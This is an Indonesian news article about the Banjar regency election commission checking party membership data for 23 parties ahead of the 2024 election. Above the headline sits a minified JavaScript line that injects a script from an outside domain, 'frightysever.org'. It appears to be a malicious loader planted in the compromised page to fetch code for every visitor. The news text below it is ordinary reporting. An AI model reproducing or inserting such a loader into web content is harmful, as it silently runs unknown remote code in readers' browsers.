(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');

PEMILU 2024

Tanpa PRIMA, KPU Banjar Verifikasi 23 Parpol Terdaftar Pemilu 2024

KANALKALIMANTAN.COM, MARTAPURA – Komisi Pemilihan Umum (KPU) Kabupaten Banjar Kalimantan Selatan, tengah melakukan verifikasi administrasi anggota dari 23 partai politik yang menjadi calon peserta Pemilu 2024 di wilayahnya.

Dikonfirmasi Komisioner KPU Kabupaten Banjar, Husni Tamrin, dari 24 parpol yang telah terdaftar di SIPOL (Sistem Informasi Partai Politik) Komisi Pemilihan Umum (KPU) pusat terdapat 1 parpol yang tidak memiliki kepengurusan di Kabupaten Banjar.

24 Parpol ini pun terdiri dari beberapa partai lama di antaranya seperti Partai Bulan Bintang (PBB) dan Partai Solidaritas Indonesia (PSI). Kemudian Parpol baru seperti Partai Gelombang Rakyat Indonesia (Gelora) dan Partai Rakyat Adil Makmur (PRIMA).

“Jadi di Kabupaten Banjar kami memverifikasi anggota dari 23 parpol, 1 parpol baru yakni Partai Prima tidak mengirimkan keanggotaannya di Kabupaten Banjar,” ujar Husni Tamrin, Komisioner KPU Kabupaten Banjar Divisi Hukum dan Pengawasan saat ditemui kanalkalimantan.com, Selasa (23/8/2022).

Kemudian total jumlah anggota yang harus diteliti satu persatu itu sekitar 21.000 orang lebih. Proses ini masih akan berlangsung hingga 29 Agustus 2022.

Tamrin mengatakan pihamnya sudah melakukan verifikasi data sekitar 50 persen dari total jumlah anggota yang terdaftar di parpol.

“Seperti pada kabupaten lain tahap verifikasi sudah sampai 70 persen atau 75 persen, kami masih melakukan verifikasi 50 persennya anggota,” lanjutnya.

Meski terbilang mengalami ketertinggalan atau terlambat namun pihaknya berusaha mengejar proses verifikasi karena mengingat prosesnya dilakukan satu persatu dengan mencocokkan data di KTP (Kartu Tanda Penduduk) dengan KTA (Kartu Tanda Anggota).

“Sebanyak 21 ribu ke atas masi kami cek satu persatu datanya melalui komputer, verfikasi faktual masih belum. Jadi kami sekarang memverfikasi administrasi antara kartu tanda anggota (KTA) dengan E- KTP nya,” ujarnya.

Verifikasi administrasi terhadap keanggotaan parpol yang dilakukan secara satu persatu itu untuk memastikan tidak ada anggota ganda atau ganda identik. Yaitu anggota memiliki identitas yang sama namun mengaku masuk dalam partai lainnya

“Misalnya dari data memenuhi bahwa dia adalah anggota dari partai A namun saat diperiksa dia lagi juga merupakan anggota partai B, maka harus diperbaiki dengan dilampirkannya surat keterangan, buktikan bahwa dia adalah anggota dari partai yang dipilihnya,” jelasnya.

Ia menjelaskan, masing-masing partai memiliki dua pilihan untuk bisa memenuhi syarat administrasi terkait keanggotaan parpol sesuai ketentuan Undang-Undang Nomor 7 Tahun 2017 tentang Pemilu. Yakni partai itu harus satu perseribu anggota dari jumlah penduduk di kabupaten tersebut.

“Misalnya di Kabupaten Banjar, jumlah penduduknya kan 561 ribu sekian, kalau satu perseribunya, jumlah anggotanya dibulatkan menjadi minimal 561 orang,” jelasnya kembali.

Sementara itu dari tahapan verifikasi administrasi menghasilkan data yang MS atau memenuhi syarat, BMS atau belum memenuhi ayarat, dan TMS atau tidak memenuhi syarat.

“Apabila kurang dari 561 keanggotaannya yang memenuhi syarat maka partai itu dianggap tidak masuk tidak memenuhi syarat untuk menjadi peserta pemili di Kabupaten banjar, ” katanya.

Ia menambahkan, kalaupun ada dua atau lebih parpol yang saling klaim keanggotaan, pihaknya akan meminta klarifikasi.

Tindak lanjut hasil verifikasi administrasi terhadap dugaan keanggotaan ganda dan berpotensi tidak memenuhi syarat keanggotaan maka akan dilakukan perbaikan.

“Perbaikan dilakukan pada 11 september, dari hasil verifikasi itu akan dikelompokkan menjadi yang memenuhi syarat maka ditetapkan menjadi peserta pemiliu jika tidak memenuhi tidak bisa ditetapkan menjadi peserta pemilu,” pungkasnya. (Kanalkalimantan.com/wanda)

Reporter : wanda
Editor : cell